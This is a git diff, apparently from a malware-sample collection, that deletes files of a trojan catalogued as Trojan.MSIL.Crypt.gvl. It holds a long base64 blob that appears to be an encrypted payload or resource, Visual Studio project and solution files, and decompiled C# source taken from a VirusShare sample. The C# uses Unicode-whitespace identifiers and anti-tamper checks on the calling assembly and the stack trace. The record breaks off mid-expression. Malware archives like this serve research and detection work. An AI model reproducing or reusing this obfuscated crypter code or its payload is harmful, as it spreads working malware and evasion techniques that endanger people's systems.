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 - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvl-7aae8877da5362d35c61c92615da0602ef1cabe3faad9dfcf25f4e162bade1e9/Trojan.MSIL.Crypt.gvl.csproj b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvl-7aae8877da5362d35c61c92615da0602ef1cabe3faad9dfcf25f4e162bade1e9/Trojan.MSIL.Crypt.gvl.csproj deleted file mode 100644 index cc5c659d..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvl-7aae8877da5362d35c61c92615da0602ef1cabe3faad9dfcf25f4e162bade1e9/Trojan.MSIL.Crypt.gvl.csproj +++ /dev/null @@ -1,51 +0,0 @@ - - - - - Debug - AnyCPU - {9354546F-D6B1-4C89-9D12-4C2E22F7DD1C} - WinExe - 1a9ca88073c831d03e5ae28cc7566846 - 1.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvl-7aae8877da5362d35c61c92615da0602ef1cabe3faad9dfcf25f4e162bade1e9/Trojan.MSIL.Crypt.gvl.sln b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvl-7aae8877da5362d35c61c92615da0602ef1cabe3faad9dfcf25f4e162bade1e9/Trojan.MSIL.Crypt.gvl.sln deleted file mode 100644 index fbf8c975..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvl-7aae8877da5362d35c61c92615da0602ef1cabe3faad9dfcf25f4e162bade1e9/Trojan.MSIL.Crypt.gvl.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "1a9ca88073c831d03e5ae28cc7566846", "Trojan.MSIL.Crypt.gvl-7aae8877da5362d35c61c92615da0602ef1cabe3faad9dfcf25f4e162bade1e9.csproj", "{9354546F-D6B1-4C89-9D12-4C2E22F7DD1C}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {9354546F-D6B1-4C89-9D12-4C2E22F7DD1C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {9354546F-D6B1-4C89-9D12-4C2E22F7DD1C}.Debug|Any CPU.Build.0 = Debug|Any CPU - {9354546F-D6B1-4C89-9D12-4C2E22F7DD1C}.Release|Any CPU.ActiveCfg = Release|Any CPU - {9354546F-D6B1-4C89-9D12-4C2E22F7DD1C}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvl-7aae8877da5362d35c61c92615da0602ef1cabe3faad9dfcf25f4e162bade1e9/_0002.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvl-7aae8877da5362d35c61c92615da0602ef1cabe3faad9dfcf25f4e162bade1e9/_0002.cs deleted file mode 100644 index fc6c3149..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvl-7aae8877da5362d35c61c92615da0602ef1cabe3faad9dfcf25f4e162bade1e9/_0002.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: 1a9ca88073c831d03e5ae28cc7566846, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C57E47F5-DC7E-4448-AA2F-A275B8AE3AB0 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.Crypt.gvl-7aae8877da5362d35c61c92615da0602ef1cabe3faad9dfcf25f4e162bade1e9.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -[EditorBrowsable(EditorBrowsableState.Never)] -[GeneratedCode("MyTemplate", "8.0.0.0")] -internal sealed class \u0002 : ApplicationBase -{ -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvl-7aae8877da5362d35c61c92615da0602ef1cabe3faad9dfcf25f4e162bade1e9/_0002 .cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvl-7aae8877da5362d35c61c92615da0602ef1cabe3faad9dfcf25f4e162bade1e9/_0002 .cs deleted file mode 100644 index b08234e2..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvl-7aae8877da5362d35c61c92615da0602ef1cabe3faad9dfcf25f4e162bade1e9/_0002 .cs +++ /dev/null @@ -1,200 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:   -// Assembly: 1a9ca88073c831d03e5ae28cc7566846, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C57E47F5-DC7E-4448-AA2F-A275B8AE3AB0 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.Crypt.gvl-7aae8877da5362d35c61c92615da0602ef1cabe3faad9dfcf25f4e162bade1e9.exe - -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Text; - -internal static class \u0002\u2000 -{ - private static \u0002\u2000.\u000E\u2003\u200A\u2005\u2000\u2007\u2002\u2008\u2009​\u2004\u2001\u2005\u2008​\u2002\u2007 \u0002 = new \u0002\u2000.\u000E\u2003\u200A\u2005\u2000\u2007\u2002\u2008\u2009​\u2004\u2001\u2005\u2008​\u2002\u2007(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static long \u0002() - { - if ((object) Assembly.GetCallingAssembly() != (object) typeof (\u0002\u2000).Assembly || !\u0002\u2000.\u0002()) - return 0; - lock (\u0002\u2000.\u0002) - { - long num1 = \u0002\u2000.\u0002.\u0002(); - if (num1 == 0L) - { - Assembly executingAssembly = Assembly.GetExecutingAssembly(); - List byteList = new List(); - AssemblyName assemblyName; - try - { - assemblyName = executingAssembly.GetName(); - } - catch - { - assemblyName = new AssemblyName(executingAssembly.FullName); - } - byte[] collection = assemblyName.GetPublicKeyToken(); - if (collection != null && collection.Length == 0) - collection = (byte[]) null; - if (collection != null) - byteList.AddRange((IEnumerable) collection); - byteList.AddRange((IEnumerable) Encoding.Unicode.GetBytes(assemblyName.Name)); - int num2 = \u0002\u2000.\u0002(typeof (\u0002\u2000)); - int num3 = \u0002\u2000.\u0003\u2000\u2002\u2005\u2008\u2007\u2007\u200A\u2001\u2009\u2003\u2006\u2007\u2006\u2004\u200A\u2009\u2007\u2001\u2008\u2004\u2006\u2001\u2004\u2001\u2001\u2008\u2005\u2001.\u0002(); - byteList.Add((byte) (num2 >> 24)); - byteList.Add((byte) (num3 >> 16)); - byteList.Add((byte) (num2 >> 8)); - byteList.Add((byte) num3); - byteList.Add((byte) (num2 >> 16)); - byteList.Add((byte) (num3 >> 8)); - byteList.Add((byte) num2); - byteList.Add((byte) (num3 >> 24)); - int count = byteList.Count; - ulong num4 = 0; - for (int index = 0; index != count; ++index) - { - ulong num5 = num4 + (ulong) byteList[index]; - ulong num6 = num5 + (num5 << 20); - num4 = num6 ^ num6 >> 12; - byteList[index] = (byte) 0; - } - ulong num7 = num4 + (num4 << 6); - ulong num8 = num7 ^ num7 >> 22; - num1 = (long) (num8 + (num8 << 30)) ^ 9018004766442947124L; - \u0002\u2000.\u0002.\u0002(num1); - } - return num1; - } - } - - [MethodImpl(MethodImplOptions.NoInlining)] - private static bool \u0002() => \u0002\u2000.\u0003(); - - [MethodImpl(MethodImplOptions.NoInlining)] - private static bool \u0003() - { - StackFrame frame = new StackTrace().GetFrame(3); - MethodBase methodBase = frame == null ? (MethodBase) null : frame.GetMethod(); - Type type = (object) methodBase == null ? (Type) null : methodBase.DeclaringType; - return (object) type != (object) typeof (RuntimeMethodHandle) && (object) type != null && (object) type.Assembly == (object) typeof (\u0002\u2000).Assembly; - } - - private static int \u0002(Type _param0) => _param0.MetadataToken; - - private sealed class \u0003\u2000\u2002\u2005\u2008\u2007\u2007\u200A\u2001\u2009\u2003\u2006\u2007\u2006\u2004\u200A\u2009\u2007\u2001\u2008\u2004\u2006\u2001\u2004\u2001\u2001\u2008\u2005\u2001 - { - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int \u0002() => \u0002\u2000.\u0002\u2007\u2001\u2009\u200A\u200A\u2003\u2004\u2002\u2006\u2001\u2002\u2007\u2007\u2007\u2007\u2005\u2007\u2002\u2006\u2008\u2001\u2000.\u0005(\u0002\u2000.\u0002\u2007\u2001\u2009\u200A\u200A\u2003\u2004\u2002\u2006\u2001\u2002\u2007\u2007\u2007\u2007\u2005\u2007\u2002\u2006\u2008\u2001\u2000.\u0003(\u0002\u2000.\u0002(typeof (\u0002\u2000.\u000F\u2007\u2009\u2000\u2008\u2004\u2009\u2007\u2001\u2007\u2004\u200A\u2001\u2008\u2003\u2008\u2004\u200A\u2007)), \u0002\u2000.\u0002\u2007\u2001\u2009\u200A\u200A\u2003\u2004\u2002\u2006\u2001\u2002\u2007\u2007\u2007\u2007\u2005\u2007\u2002\u2006\u2008\u2001\u2000.\u0005(\u0002\u2000.\u0002(typeof (\u0002\u2000.\u0003\u2000\u2002\u2005\u2008\u2007\u2007\u200A\u2001\u2009\u2003\u2006\u2007\u2006\u2004\u200A\u2009\u2007\u2001\u2008\u2004\u2006\u2001\u2004\u2001\u2001\u2008\u2005\u2001)), \u0002\u2000.\u0002(typeof (\u0002\u2000.\u0006\u2008\u2003\u2007\u200A\u2008\u2008\u2001\u2005\u2003​\u2004)))), \u0002\u2000.\u000F\u2008\u2009\u2004\u2002\u2001\u200A​\u2002\u2003\u2004\u2002​\u200A\u200A\u2005\u2003\u2008.\u0002()); - } - - private sealed class \u0003\u2000\u2000\u2008\u2006​​\u2002\u2006​\u200A\u2000\u2004 - { - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int \u0002() => \u0002\u2000.\u0002\u2007\u2001\u2009\u200A\u200A\u2003\u2004\u2002\u2006\u2001\u2002\u2007\u2007\u2007\u2007\u2005\u2007\u2002\u2006\u2008\u2001\u2000.\u0005(\u0002\u2000.\u0002(typeof (\u0002\u2000.\u0003\u2000\u2000\u2008\u2006​​\u2002\u2006​\u200A\u2000\u2004)), \u0002\u2000.\u0002\u2007\u2001\u2009\u200A\u200A\u2003\u2004\u2002\u2006\u2001\u2002\u2007\u2007\u2007\u2007\u2005\u2007\u2002\u2006\u2008\u2001\u2000.\u0002(\u0002\u2000.\u0002(typeof (\u0002\u2000.\u0003\u2000\u2002\u2005\u2008\u2007\u2007\u200A\u2001\u2009\u2003\u2006\u2007\u2006\u2004\u200A\u2009\u2007\u2001\u2008\u2004\u2006\u2001\u2004\u2001\u2001\u2008\u2005\u2001)), 